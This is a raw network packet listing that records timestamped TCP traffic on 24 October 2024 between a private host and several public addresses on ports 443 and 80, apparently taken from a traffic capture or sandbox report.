Oct 24, 2024 00:27:08.754944086 CEST	49683	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:09.727974892 CEST	443	49765	13.107.246.254	192.168.2.16
Oct 24, 2024 00:27:09.728055000 CEST	49765	443	192.168.2.16	13.107.246.254
Oct 24, 2024 00:27:10.268007040 CEST	49681	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:17.101993084 CEST	49675	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:17.102767944 CEST	49677	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:17.102994919 CEST	49674	443	192.168.2.16	204.79.197.200
Oct 24, 2024 00:27:18.365992069 CEST	49683	443	192.168.2.16	204.79.197.222
Oct 24, 2024 00:27:21.704952002 CEST	49681	443	192.168.2.16	51.104.15.253
Oct 24, 2024 00:27:23.964936972 CEST	443	49764	23.1.33.206	192.168.2.16
Oct 24, 2024 00:27:23.965137005 CEST	49764	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:29.746931076 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:29.746989012 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:29.747077942 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:29.747595072 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:29.747607946 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:30.838258028 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:30.838391066 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:30.839929104 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:30.839939117 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:30.840217113 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:30.842452049 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:30.887325048 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.213020086 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.213047981 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.213063002 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.213238001 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:31.213278055 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.213331938 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:31.214750051 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.214787006 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.214814901 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:31.214822054 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.214839935 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:31.216098070 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:31.216115952 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.216129065 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:31.216344118 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.216433048 CEST	443	49768	4.175.87.197	192.168.2.16
Oct 24, 2024 00:27:31.216485023 CEST	49768	443	192.168.2.16	4.175.87.197
Oct 24, 2024 00:27:33.134277105 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:27:33.134342909 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:27:33.614120007 CEST	49699	80	192.168.2.16	93.184.221.240
Oct 24, 2024 00:27:33.614161015 CEST	49701	80	192.168.2.16	93.184.221.240
Oct 24, 2024 00:27:33.621596098 CEST	80	49699	93.184.221.240	192.168.2.16
Oct 24, 2024 00:27:33.621685028 CEST	49699	80	192.168.2.16	93.184.221.240
Oct 24, 2024 00:27:33.622102022 CEST	80	49701	93.184.221.240	192.168.2.16
Oct 24, 2024 00:27:33.622256041 CEST	49701	80	192.168.2.16	93.184.221.240
Oct 24, 2024 00:27:34.027184963 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:27:34.027210951 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:27:41.433346987 CEST	49713	443	192.168.2.16	172.64.41.3
Oct 24, 2024 00:27:41.433373928 CEST	443	49713	172.64.41.3	192.168.2.16
Oct 24, 2024 00:27:41.569125891 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:41.569179058 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:41.569269896 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:41.569489002 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:41.569504023 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.179281950 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.179656982 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.179685116 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.180767059 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.180877924 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.182240009 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.182320118 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.182599068 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.182609081 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.182636976 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.182682037 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.235029936 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.330404043 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.330456972 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.330486059 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.330517054 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.330543041 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.330543995 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.330562115 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.330588102 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.330610037 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.331103086 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.333903074 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.333934069 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.333960056 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.333966017 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.334008932 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.447213888 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.447715998 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.447776079 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.447788000 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.447813034 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.447859049 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.448343992 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.448446035 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.448481083 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.448487997 CEST	443	49769	142.250.113.94	192.168.2.16
Oct 24, 2024 00:27:42.448503017 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:42.448551893 CEST	49769	443	192.168.2.16	142.250.113.94
Oct 24, 2024 00:27:48.237134933 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.237186909 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:48.237271070 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.237513065 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.237529993 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:48.681128025 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:27:48.681262970 CEST	443	49727	142.251.116.94	192.168.2.16
Oct 24, 2024 00:27:48.681355953 CEST	49727	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:27:48.751563072 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.751610041 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:48.751689911 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.751934052 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.751948118 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:48.799442053 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.799485922 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:48.799576044 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.802654982 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.802669048 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:48.895759106 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.895796061 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:48.895880938 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.896127939 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:48.896142960 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.093388081 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.094059944 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.094084978 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.095140934 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.095330954 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.096437931 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.096497059 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.096689939 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.096695900 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.151066065 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.436028957 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.486067057 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.486082077 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.487864017 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.487921953 CEST	443	49773	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.488018990 CEST	49773	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.621743917 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.622096062 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.622167110 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.623230934 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.623313904 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.623599052 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.623672962 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.623752117 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.623773098 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.649916887 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.650208950 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.650223017 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.651300907 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.651392937 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.651669979 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.651736975 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.651810884 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.651818037 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.676202059 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.692178965 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.763557911 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.763916016 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.763928890 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.764972925 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.765079975 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.765357018 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.765405893 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.819071054 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.819078922 CEST	443	49776	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.867058039 CEST	49776	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.929918051 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.929975033 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.930011034 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.930052042 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.930077076 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.930078030 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.930109024 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.930124044 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.930160999 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.930556059 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.936882973 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.937721968 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.937730074 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.945508003 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.978046894 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.978055000 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.994100094 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.994118929 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.995023966 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:49.995101929 CEST	443	49775	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:49.995167017 CEST	49775	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.026070118 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.048504114 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.048573971 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.049074888 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.049084902 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.059470892 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.060657024 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.060664892 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.063297987 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.063361883 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.063368082 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.073698997 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.073784113 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.073795080 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.084840059 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.084961891 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.084969044 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.092080116 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.092163086 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.092170954 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.109515905 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.110943079 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.110976934 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.111079931 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.111094952 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.111104965 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.120001078 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.120270014 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.120276928 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.163774967 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.163817883 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.163871050 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.163909912 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.163911104 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.163969994 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.164002895 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.164026022 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.164172888 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.176372051 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.176474094 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.176476002 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.176489115 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.176543951 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.176561117 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.189651966 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.189738035 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.189753056 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.193198919 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.193274975 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.193289042 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.210278034 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.210316896 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.210350990 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.210369110 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.210376024 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.210428953 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.213970900 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.214057922 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.214063883 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.220381975 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.220505953 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.220513105 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.237302065 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.237344980 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.237379074 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.237413883 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.237440109 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.237451077 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.237482071 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.237507105 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.240314007 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.247174025 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.247214079 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.247301102 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.247308969 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.247354984 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.259768009 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.260123014 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.260154963 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.260242939 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.260258913 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.260325909 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.266680956 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.282289028 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.282412052 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.282419920 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.282469988 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.282504082 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.282538891 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.282548904 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.282597065 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.286706924 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.293121099 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.293165922 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.293477058 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.293487072 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.293585062 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.305546045 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.308666945 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.308698893 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.308736086 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.308749914 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.308803082 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.311904907 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.317630053 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.317682981 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.317730904 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.317759991 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.317816973 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.332880020 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.332942963 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.332971096 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.333095074 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.333103895 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.333163023 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.333473921 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.336483955 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.336688042 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.336796999 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.336806059 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.336852074 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.340475082 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.343693972 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.343738079 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.343763113 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.343771935 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.343854904 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.347099066 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.350558043 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.350692034 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.350783110 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.350800037 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.350871086 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.362368107 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.362502098 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.362566948 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.362582922 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.411035061 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.411062956 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.412349939 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.412451982 CEST	443	49774	142.250.181.228	192.168.2.16
Oct 24, 2024 00:27:50.412519932 CEST	49774	443	192.168.2.16	142.250.181.228
Oct 24, 2024 00:27:50.668200016 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:27:50.668308020 CEST	443	49736	142.251.116.94	192.168.2.16
Oct 24, 2024 00:27:50.668390036 CEST	49736	443	192.168.2.16	142.251.116.94
Oct 24, 2024 00:27:52.748439074 CEST	49764	443	192.168.2.16	23.1.33.206
Oct 24, 2024 00:27:52.748481035 CEST	443	49764	23.1.33.206	192.168.2.16
